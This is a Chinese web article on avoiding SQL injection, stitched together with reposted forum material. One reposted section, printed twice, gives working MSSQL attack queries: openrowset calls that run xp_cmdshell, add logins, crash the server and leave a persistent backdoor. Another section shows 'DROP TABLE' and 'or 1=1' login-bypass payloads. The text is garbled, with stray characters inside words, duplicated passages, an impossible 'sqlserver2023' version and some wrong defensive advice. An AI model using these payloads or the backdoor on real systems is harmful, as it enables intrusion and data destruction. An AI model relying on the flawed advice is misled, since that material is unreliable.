避免SQL注入,保护服务器稳定 (sql注入 服务器崩溃)

避免SQL注入,保护服务器稳定

SQL(Structured Query Language)注入攻击是一种常见的Web攻击方式,黑客利用程序缺陷,将恶意SQL代码插入到输入数据中,从而可以访问和修改网站的数据库。SQL注入攻击不仅可以窃取数据,还可能破坏服务器数据,使网站瘫痪。因此,防止SQL注入攻击是保护服务器稳定的重要措施。

以下是一些防范SQL注入攻击的方法:

1. 使用参数化查询

最常见的防范SQL注入攻击的方法是使用参数化查询。使用参数化查询的好处是可以明确指定用户输入数据的类型和长度,从而避免恶意代码插入。同时,参数化查询也可以使代码更加好理解和维护。

2. 过滤和验证用户输入

对于用户输入的数据,应该进行过滤和验证。例如,可以检查是否包含了意外的字符,如单引号、分号等。如果用户输入的内容不符合预期,则应该拒绝请求。

另外,在构建SQL语句时,不能直接将输入数据拼接到SQL语句中,而应该使用预处理语句。

3. 限制数据库权限

为了更大限度地减少SQL注入的危害,需要限制数据库的权限。应该仅给予应用程序所需的最少权限。如果数据库用户仅有读取权限,则攻击者将无法对数据库进行修改。

4. 加密数据库

加密数据库中的数据是保护服务器安全的另一种方法。如果黑客成功破解了数据库,加密数据可以防止黑客获取有价值的信息。在一些更高安全级别的应用中,加密数据是必需的。

5. 定期更新和保护服务器

无论以何种方式防范SQL注入攻击,都需要定期更新和保护服务器。定期更新密码,安装新的补丁程序和安全更新,同时确保服务器硬件和软件都得到维护和升级。

此外,定期备份数据并存储在安全地点也是保护服务器安全的重要步骤。

SQL注入攻击是一种对服务器安全造成重大威胁的攻击方式。为了保护服务器稳定,应该采取多种预防措施,如使用参数化查询来限制输入数据、过滤和验证用户输入、限制数据库权限、加密数据库和定期升级和保护服务器。只有将这些预防措施贯彻到底,才能在未来保障服务器和网站的安全和稳定性。

相关问题拓展阅读:

注意那些容易被忽略的MSSQL注入技巧

下面我要谈到一些Sqlserver新的Bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别。

1.关于Openrowset和Opendatasource

可宏碰裂能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:

select * from openrowset(‘sqloledb’,’myserver’;’sa’;”,’select * from table’)

可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。

那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!

select * from openrowset(‘sqloledb’,’server’;’sa’;”,’set fmtonly off

exec master.dbo.xp_cmdshel l ”dir c:\”’)

必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output就会提交给前面的select显示,如果采用默认设置,会返回空导致select出错,命令也就无法蔽闭执行了。

那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何的,我们就不能再依靠fmtonly设置了,可以如下操作:

select * from openrowset(‘sqloledb’,’server’;’sa’;”,’select ”OK!”

exec master.dbo.sp_addlogin Hectic’)

这样,命令至少会返回select OK!’的,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select ‘OK!’的返回欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。

2.关于Msdasql两次请求的问题

不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下:

select * from openrowset(‘msdasql’,’driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn’,’s

elect * from table1 select * from table2′)

当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用 pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个吵做现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求数目和返回数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧。

3.可怕的后门

以前在网上看到有人说在 sqlserver上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令:

select * from openrowset(‘sqloledb’,’trusted_connection=yes;data source=Hectic’,’set fmtonly off exec master..xp_cmdshell ”dir c:\”’)

这样在对方的 sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在 sqlserver2023 sqlserver2023SP1上通过!

另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的 sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令:

select * from openrowset

(‘msdasql’,’dsn=locaserver;trusted_connection=yes’,’set fmtonly off exec

master..xp_cmdshell ”dir c:\”’)

应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa 那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql 的方法。

如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行。

下面我要谈到一些Sqlserver新的Bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别。 1.关于Openrowset和Opendatasource 可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下…

下面我要谈到一些Sqlserver新的Bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别。

1.关于Openrowset和Opendatasource

可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:

select * from openrowset(‘sqloledb’,’myserver’;’sa’;”,’select * from table’)

可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。

那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!

select * from openrowset(‘sqloledb’,’server’;’sa’;”,’set fmtonly off

exec master.dbo.xp_cmdshel l ”dir c:\”’)

必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output就会提交给前面的select显示,如果采用默认设置,会返回空导致select出错,命令也就无法执行了。

那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何的,我们就不能再依靠fmtonly设置了,可以如下操作:

select * from openrowset(‘sqloledb’,’server’;’sa’;”,’select ”OK!”

exec master.dbo.sp_addlogin Hectic’)

这样,命令至少会返回select OK!’的,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select ‘OK!’的返回欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。

2.关于Msdasql两次请求的问题

不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下:

select * from openrowset(‘msdasql’,’driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn’,’s

elect * from table1 select * from table2′)

当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用 pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求数目和返回数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧。

3.可怕的后门

以前在网上看到有人说在 sqlserver上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令:

select * from openrowset(‘sqloledb’,’trusted_connection=yes;data source=Hectic’,’set fmtonly off exec master..xp_cmdshell ”dir c:\”’)

这样在对方的 sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在 sqlserver2023 sqlserver2023SP1上通过!

另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的 sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令:

select * from openrowset

(‘msdasql’,’dsn=locaserver;trusted_connection=yes’,’set fmtonly off exec

master..xp_cmdshell ”dir c:\”’)

应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa 那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql 的方法。

如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行。

简单分析什么是SQL注入漏洞

转:

SQL注入,由于程序在实际使用中,为了管理庞大的数据信息,就会使用到数据库。数据库可以方便程序对所有数据信息进行统一的存储和分类组织,便于查询更新。用户在使用程序时,程序可以自动通过对数据库的查询,将所获得的信息按照一定格式反馈给用户,同时用户也是通过交互式的对话框提交给程序数据,从而使程序按照用户想要的信息进行查询,反馈给用户想要的信息。

对于程序这种数据库操作,先来看一段代码:

strKeyword = Request ;

sqlQuery = “SELECT * FROM Aritcles WHERE Keywords LIKE ‘%” +strKeyword + “%'”;

这段代码的主要目的是按照用户提交的关键字Keyword,对软件连接数据库中的文件进行搜索,找出所有包含用户关键字的文章来。假设此时,我们提交给软件“hack”这个数据,这时,“hack”这个关键字就会被传递给Keyword关键变量。接下来看看代码的执行情况,keyword获得数据“hack”后,被赋值给strKeyword变量,然后strKeyword变量被放入查询语句,此时的查询语句表现为:”SELECT * FROM Aritcles WHERE Keywords LIKE ‘%hack%'”,这个查询语句的意思就是从数据库Aritcles表中查询出所有包含“hack”这个关键字的文章。注意“hack”这个单词是我们提交给程序的,因此可以对其随意修改的。于是,可以这样修改,把它变为“hack’; DROP TABLE Aritcles; –”。

现在看看程序会怎样处理这个外部关键字数据。首先,查询语句变成了:“SELECT * FROM Aritcles WHERE Keywords LIKE ‘%hack%’; DROP TABLE Aritcles; –”,我们知道DROP TABLE语句是在数据库操作中删除一个指定的表的意思,现在那个查询语句的意思就变了,以中间的分号为标志,分成两个部分岩哪,首先还是正常的查出所有包含hack关键字的文章。但是接下来……

由于程序使用的数据库是微软的SQL SERVER,该数据库支持多命令语句执行,这些数据库操作的命令语句都是由分号分隔开,然后依次执行的。这里的“DROP TABLE Aritcles; –”是一个完全合法的命令语句,“–”符号是SQL SERVER数据库特有注释标识,数据库不执行任何命令。这样,当这段查询语句执行时,就会去执行一个删除Aritcles表的数据库命令。

像这样,通过控制传递给程序数据库操作语句的关键变量来获得恶意控制程序数据库,从而获取有用信息或者制造恶意破坏的,甚至是控制用户计算机系统的漏洞,就称之为“SQL注入漏洞”。

SQL注入漏洞完全是利用了将包含了某种目的的SQL语句,通过关键变量插入到程序中正常的数据库操作语句里。程序一旦发生注入漏洞,就会引发一系列安全隐患。

SQL注入漏洞是不分语言的,无论用什么语言开发的程序,只要涉及对数据库的操作,都可能存在SQL注入漏洞。虽然有时会因为编写语言的要求,或者程序设置环境的不同,导致SQL注入漏洞很难被常用的方法利用,但是总可以找到突破的方法。

下面以网站程序为例,看一看SQL注入漏洞最经常被利用的地方,也是危害更大的地方。

都知道对于一个网站来说,可以说数据库销芦存放着网站所有的信息,WEB应用程序完全是凭借数据库中的信息进行正常的运行的。一个网站程序中,最关键的一个部分就是对用户的合法性的判断,也就是看访问它的用户粗斗码是不是一个注册的用户。这个时候,就会要求输入用户名和密码,然后根据输入的信息查询数据库,判断是否存在用户,并检查密码是不是一致,如果一致则承认合法用户,否则将给予非法提示。下面看一段常常出现在论坛程序中的用户认证程序代码:

(1)admin1 = trim(request(“name”))

(2)password1 = trim(request(“password”))

(3)Set rs = Server.CreateObject (“ADODB.Recordset”)

(4)sql = “select * from userlogin where name='”&admin1&”‘ and password='”&password1&”‘”

(5)rs.Open sql,conn,1,1

(6)if rs.eof and rs.bof then

(7)response.write”alert(‘用户名或密码不正确!’)”

(8)response.write”javascript:history.go(-1)”

(9)response.end

(10)else

(11)session(“name”)=rs(“name”)

(12)session(“password”)=rs(“password”)

(13)response.Redirect(“default.asp”)

(14)end if

这段程序的第1和第2行分别通过Request对象获得用户名和密码,第3行是建立一个数据库操作集对象,第4行就是将用户名以及密码同时作为查询条件放入到userlogin表中进行查询,第5到第14行就是根据查询结果进行判断,弹出警告窗口,或者重定向网页。

假设数据库中有个用户guest,密码123456,那么该用户登录时,认证代码中的第4行则变为:sql = “select * from userlogin where name=’guest’ and password=’123456′”,这是一个合法查询语句,所以用户能正常登录,反之则登录不了。

看起来这是一个比较严格的认证代码,但是事实呢?

现在,我们用户名提交“’or 1=’1”,密码也是一样,同样也会成为合法用户,这是为什么?

当我们提交表单后,代码通过Request对象获得提交的用户名’or 1=’1以及密码’or 1=’1后,直接将这些数据放入了第4行的查询语句中,于是变成了这样:sql = “select * from userlogin where name=”or 1=’1′ and password=”or 1=’1′”。我们先看1=’1’,这个绝对永远为真,如果你说假,那么你回小学学数学吧,学好再来看吧,呵呵~注意在大马前面还有一个or,这代表者1=’1’是作为一个条件选择语句放入数据库查询的,这样无论查询语句中的用户名和密码是否正确,都会因为or后面的1=’1’代码,导致查询语句返回值永远为真,这样就是绕过了看似严格的用户认证,获得了合法的权限。

SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。

SQL注入,就是通过把SQL命令插野宽伍入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的颂或网站上的数据库,而不是按照设计者意图去执行SQL语句。

SQL注入漏洞有什么特点?

1、广泛性:任何一个基于SQL语言的数据库都可能被攻击,很多开发人员在编写Web应用程序时未对从输入参数、Web表单、Cookie等接受到的值进行规范巧含性验证和检测,通常会出现SQL注入漏洞。

2、隐蔽性:SQL注入语句一般都嵌入在普通的HTPP请求中,很难与正常语句区分开,所以当前许多防火墙都无法识别予以警告,而且SQL注入变种极多,攻击者可以调整攻击的参数,所以使用传统的方法防御SQL注入效果非常不理想。

3、危害大:攻击者可以通过SQL注入获取到服务器的库名、表名、字段名,从而获取到整个服务器中的数据,对网站用户的数据安全有极大的威胁。攻击者也可以通过获取到的数据,得到后台管理员的密码,然后对网页页面进行恶意篡改。这样不仅对数据库信息安全造成严重威胁,对整个数据库系统安全也有很大的影响。

如何防范SQL注入漏洞及检测

SQL注入漏洞测试:

在正常用户名admin后增加一团携个单引号,单击”登录”

或在URL地址栏直接输入登录后台

若出错,证明没有对’进行过滤,存在SQL注入漏洞

在正常用户名admin后增加一旁伏个单引号,单击”登录”

在URL地址栏直接输入后台登录地址

登录出错

登录出错,证明存在SQL注入漏运或携洞。

  SQL注入漏洞攻击的防范方法有很多种,现阶段总结起来有以下方法:

  (1)数据有效性校验。如果一个输入框只可能包括数字,那么要通过校验确保用户输入的都是数字。如果可以接受字母,那就要检查是不是存在不可接受的字符,更好的方法是增加字符复杂度自动验证功能。确保应用程序要检查以下字符:分号、等号、破折号、括号以及SQL关键字。另外限制表单数据输入和查询字符串输入的长度也是一个好方法。如果用户的登录名最多只有10个字符,那么不要认可表单中输入10个以上的字符,这将大大禅游增加攻击者在SQL命令中插入有害代码的难度。

  (2)封装数据信息。对客户端提交的数据进行封装,凯袭漏不要将数据直接存入cookie中,方法就是在编程的代码中,插入session、if、try、else,这样可以有效地防止攻击者获取cookie中的重盯烂要信息。

  (3)去除代码中的敏感信息。将在代码中存在的用户名、口令信息等敏感字段删除,替换成输入框。

  SQL=” select from users where username = ’admin’and password= ’’ “

  如:这样显然会暴露管理员的用户名、口令信息。可以将其修改成:

  SQL= ” select * from users where username='” +Txtuser.Text + “‘ and userpwd='” + Textpwd.Text + “‘”

  这样就安全了很多,入侵者也是不会轻易的就获取到用户名、口令信息。

  (4)替换或删除单引号。使用双引号替换掉所有用户输入的单引号,这个简单的预防措施将在很大程度上预防SQL注入漏洞攻击,单引号时常会无法约束插入数据的Value,可能给予输入者不必要的权限。用双引号替换掉单引号可以使大部分SQL注入漏洞攻击失败。 如:

  “select* from users where username='” + admin + “‘ and userpwd='” ++ “‘”

  显然会得到与

  “select * from users where username=’admin’ and password= ””

  相同的结果。

  (5)指定错误返回页面。攻击者有时从客户端尝试提交有害代码和攻击字符串,根据Web Service给出的错误提示信息来收集程序及服务器的信息,从而获取想得到的资料。应在Web Service中指定一个不包含任何信息的错误提示页面。

  (6)限制SQL字符串连接的配置文件。使用SQL变量,因为变量不是可以执行的脚本,即在Web页面中将连接数据库的SQL字符串替换成指定的Value,然后将Web.config文件进行加密,拒绝访问。

  (7)设置Web目录的访问权限。将虚拟站点的文件目录禁止游客用户(如:Guest用户等)访问,将User用户权限修改成只读权限,切勿将管理权限的用户添加到访问列表。

  (8)最小服务原则。Web服务器应以最小权限进行配置,只提供Web服务,这样可以有效地阻止系统的危险命令,如ftp、cmd、vbscript等。

  (9)鉴别信息加密存储。将保存在数据库users表中的用户名、口令信息以密文形式保存,也可以对users表进行加密处理,这样可以大大增加对鉴别信息访问的安全级别。

  (10)用户权限分离。应尽可能的禁止或删除数据库中sa权限用户的访问,对不同的数据库划分不同的用户权限,这样不同的用户只能对授权给自己的数据库执行查询、插入、更新、删除操作,就可以防止不同用户对非授权的数据库进行访问。

可以去打开腾讯智慧安全的页面

然后在里面找到御点兄罩终端全哗镇系羡芦闹统申请是用

然后使用病毒查杀或者修复漏洞去杀毒和修复漏洞就行

sql注入 服务器崩溃的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于sql注入 服务器崩溃,避免SQL注入,保护服务器稳定,注意那些容易被忽略的MSSQL注入技巧,简单分析什么是SQL注入漏洞,如何防范SQL注入漏洞及检测的信息别忘了在本站进行查找喔。


数据运维技术 » 避免SQL注入,保护服务器稳定 (sql注入 服务器崩溃)